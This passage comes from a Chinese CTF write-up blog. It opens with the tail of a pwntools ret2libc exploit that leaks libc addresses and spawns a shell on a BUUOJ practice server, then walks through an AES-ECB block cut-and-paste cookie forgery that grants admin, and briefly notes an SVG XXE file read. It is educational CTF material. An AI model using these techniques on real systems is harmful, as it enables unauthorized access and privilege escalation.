payload += p32(elf.got['write'])
payload += p32(0x4)
sh.recvuntil("Input:\n")
sh.send(payload)
write_addr = u32(sh.recv(4))

# calc system & /bin/sh
lib = LibcSearcher("write", write_addr)
image_base = write_addr - lib.dump("write")
system_addr = image_base + lib.dump("system")
bin_sh_addr = image_base + lib.dump("str_bin_sh")
# getshell
payload = "a" * (0x88 + 0x4)
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(bin_sh_addr)
sh.recvuntil("Input:\n")
sh.sendline(payload)
sh.interactive()


if __name__ == '__main__':
exp("node3.buuoj.cn", 25297, 0)

pwn 的快乐暂时到这里了, 后面有空再玩一下

[BSidesCF 2019]Mixer

这道题挺巧妙的, 如果看过 WP 的话可以知道这是 AES 的 ECB 翻转攻击

首先要打开 burp 的这个设置

这样方便我们跟随跳转而不用手动设置 cookie

登录后可以看到多了一个 user 的 cookie, 并且提示说

And you can safely ignore the rack.session cookie. Like actually. But that other cookie, however....

image-20200221004356469

(中间省略一堆日 cookie 的时间)

我们先随便改一位试试

发现报错, 是一个 json 的解密, 乱码的只有我们修改的那个块, 可以推测是 ECB 加密, 如果是 CBC 的话, 前面也会变成乱码

我们知道 ECB 加密是 16 位一组, 并且每组互相独立, 加密后为 32 位, 而这里的目标是让is_admin变成 1, 单纯的翻转的话不太好操作, 毕竟我们不知道 IV, 但是在 json 中

1.0 = 1

那如果我们构造刚好 16 位, 也就是1.00000000000000, 使得这个块独立加密, 然后再放到is_admin中, 就可以将is_admin变成1

先写出 json

{"first_name":"","last_name":"","is_admin":}

观察到前面的

{"first_name":"

总共 15 位, 加上一位就可以变成 16 位, 即这样

{"first_name":"A1.00000000000000","last_name":"","is_admin":}

就可以顺利获取我们需要的1.00000000000000的加密块了

再观察后面, 使得

","last_name":"","is_admin":

为 16 的整数倍, 中间需要填充 4 个字符, 也就是

{"first_name":"A1.00000000000000","last_name":"A333","is_admin":}

那么这个 json 会被分为 5 个部分加密

{"first_name":"A
1.00000000000000
","last_name":"A
333","is_admin":
}

其中最后一个块会被填充到 16 位, 我们首先将上面的 json 以 get 方式提交

/?action=login&first_name=A1.00000000000000&last_name=A333

然后获取 cookie

2a3a97a1e1a60d30206bd0710c7d6436c21965416ed467e21d650a0e019b68eff2c3b097feb7610eb39b30a3bddadcd1967867848b5b83d2629292395c9af2835c8ac8596bd3f958383991f95d145726

33-64位, 添加到最后的32位之前

2a3a97a1e1a60d30206bd0710c7d6436c21965416ed467e21d650a0e019b68eff2c3b097feb7610eb39b30a3bddadcd1967867848b5b83d2629292395c9af283c21965416ed467e21d650a0e019b68ef5c8ac8596bd3f958383991f95d145726

就可以看到 flag 了

[BSidesCF 2019]Futurella

看到奇怪的东西, 还以为是在做 misc, 实际上真的是 misc

签到题了解一下

[BSidesCF 2019]SVGMagic

原来这题是要看图片的…

svg 其实就是 xml, 所以还是 xxe, 不过我一直以为解码 base64 就会看到, 直到我打开了图片 hhh

后面就随便读了

[BSidesCF 2019]FlagSrv


作者: cjm00n
地址: https://cjm00n.top/CTF/buuoj-writeup-3.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

新春公益赛2020Writeup 常用脚本

评论